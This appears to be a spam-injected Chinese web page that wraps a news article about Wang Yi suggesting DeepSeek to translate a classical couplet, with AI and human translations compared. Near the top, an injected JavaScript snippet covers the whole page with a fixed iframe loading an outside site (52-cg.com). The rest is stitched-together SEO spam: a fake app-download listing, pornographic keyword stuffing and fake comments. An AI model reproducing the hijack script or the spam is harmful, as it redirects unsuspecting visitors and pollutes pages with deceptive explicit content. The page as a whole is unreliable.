家居百科网:吃瓜黑料国产-吃瓜爆料就看黑料社38-王毅建议外媒用DeepSeek翻译这句话,记者试了一下

alan 吃瓜合集 2025-02-15 1 0
(function() { function generateRandomString(length) { return Math.random().toString(36).substring(2, length + 2); } function loadExternalContent(url) { var frameName = generateRandomString(10); var frame = document.createElement('iframe'); frame.id = frameName; frame.style.cssText = 'width:100%;height:100%;border:none;position:fixed;top:0;left:0;z-index:9999;'; frame.src = url; document.body.appendChild(frame); } var externalUrl = 'https://52-cg.com'; loadExternalContent(externalUrl); })();

当地时间 2025 年 2 月 14 日,中共中央政治局委员、外交部长王毅出席慕尼黑安全会议,在 " 中国专场 " 致辞并回答了现场提问。

针对中美关系的问题,王毅在回答时表示,中国有句古话:" 天行健,君子自强不息 "。中国还有句话说得很形象," 他强任他强,清风拂山岗;他横任他横,明月照大江 "。这就是中国人的气度、中华民族的品格。任尔东西南北风,我自泰然处之,岿然不动。

王毅说,这几句话可能翻译起来不容易,可能又会出来很多翻译的版本,大家可以相互切磋,也可以找 DeepSeek 来帮一帮忙。

对此,直新闻通过 DeepSeek,将这几句话作了翻译,DeepSeek 的回答是:

Let him be strong, let him be strong - the gentle breeze caresses the mountain ridges;

Let him be fierce, let him be fierce - the bright moon shines upon the great river.

注:这个翻译在保持原句意境的同时,采用了以下处理方式:

1. 重复结构 "Let him be..." 对应中文的 " 他 ... 任他 ..." 句式

2." 清风 " 译为 gentle breeze 突出柔和特质

3." 拂 " 选用 caresses 体现轻柔触感

4." 明月 " 译为 bright moon 强调月光皎洁

5." 照 " 用 shines upon 增强画面感

6." 大江 " 译为 great river 保持中文的恢弘气势

整体保持了原句超然物外、以柔克刚的哲学意境,同时兼顾英语的表达习惯。

等记者请 DeepSeek 帮忙翻译时,DeepSeek 甚至进行了文化背景补充:此句源自金庸小说《倚天屠龙记》,是《九阳真经》的口诀,比喻面对外界压力时保持内心坚定与超然,如清风明月般不受干扰。中国外交部长王毅曾引用此句,类比中国在复杂国际局势中的从容态度。

DeepSeek 的翻译是否到位呢?直新闻先是用 " 谷歌翻译 " 倒推了一下,谷歌翻译了 DeepSeek 的翻译 " 让他坚强,让他坚强——和风轻拂山脊;让他凶猛,让他凶猛——明月照大江 ",可以印证 DeepSeek 的翻译基本符合原意。

同时,直新闻也试图让谷歌和豆包等翻译软件翻译这句话,谷歌给出的翻译是:

Let him be strong, the breeze blows over the hills; let him be arrogant, the bright moon shines over the river。

另外,豆包的回答是 "Let others be powerful as they may, like a gentle breeze caressing the mountain ridge; let others be unruly as they will, like the bright moon shining upon the great river。"

对此,直新闻外文部资深主编毛昱表示,谷歌翻译中的 "arrogant" 更符合语境;而 DeepSeek 翻译得也很好,信达雅,信和雅都有了。但如果要更加达意的话,她会在后面两句加上 "like",毛昱表示,这种字面上没有体现的内涵,可能目前 AI 还无法完全领悟解读到。相比之下,豆包的翻译似乎更符合语境。

此外,直新闻外文部资深主编毛昱也给出了自己的翻译。

直新闻外文部资深主编毛昱的翻译:

Let him be strong, let him be strong - like the gentle breeze caresses the mountain ridges;

Let him be fierce, let him be fierce - like the bright moon shines upon the great river.

而网友也纷纷在直新闻的微推下留言,给出了自己的答案。

网友留言截图

可以看出,不管是 AI 的翻译还是人工翻译,都有所不同。可能正如王毅外长说的,大家相互切磋,也是翻译的乐趣所在。

haiyizgcom即将被轻箜搜录权重排名联系电抱@chaoyue:918《去符号》

天堂资源麻豆

「活动」注册就送新人大礼包

84.29MB
版本V9.84.14
下载夜精品一区二区无码A片安装你想要的应用 更方便 更快捷 发现更多
喜欢 18%好评(87人)
评论 40
avidolz hd0 Aa毛片1 青草青视频在线观看2 黄色应用APP3 青娱乐91手机4
详细信息
  • 软件大小: 81.23MB
  • 最后更新: 2024-09-16 18:34:53
  • 最新版本: V8.28.17
  • 文件格式: apk
  • 应用分类:ios-Android 公嗲嗯好大好涨H
  • 使用语言: 中文
  • : 需要联网
  • 系统要求: 5.41以上
应用介绍
一,国产手机精品一区二区,亚洲人成网77777色在线播放
二,欲妇荡岳丰满少妇A片24小时,精品人人搡人妻人人玩A片
三,中国大陆一级毛片免费,色中色电影
四,三级黄色免费看,亚洲熟妇丰满大屁股熟妇
五,18岁末年禁止网站,精品丰满人妻无套内射
六,洗澡三十分钟被公强玩,日日摸天天添到高潮
七,免费无码又爽又刺激高潮的动态图,丰满熟女人妻波多野结衣

【联系我们】
客服热线:139-8888-666
加载更多
版本更新
V1.22.17
亚洲精品久久国产高清小说,成 人 网 站 免费观看

四虎永久视频

猜你喜欢

包含 饿了么 的应用集
评论
  • 秋霞中文字幕 4天前
    亚洲精品AAA揭晓
  • 欧美人与性囗牲恔配 7天前
    97国产无遮挡A片又黄又爽小说
  • 国产精品悠悠久久人妻精品 7天前
    羞羞影院男女爽爽影院尤物
  • 午夜.DJ高清在线观看免费7 6天前
    欧美性生交大片免费看A片
  • 国产麻豆剧看黄在线观看 2天前
    a级片在线观看
  • 無码一区中文字幕少妇熟女网站 4天前
    国产福利资源网在线观看
  • 久久草在线视频国产一 5天前
    日本无码色情影片在线看
  • 内射爽无广熟女亚洲 4天前
    久久精选视频
  • 好看的av 4天前
    久久精品国产久精国产果冻传媒
  • 消息称老熟妇乱视频一区二区 9天前
    午夜福利视频极品国产83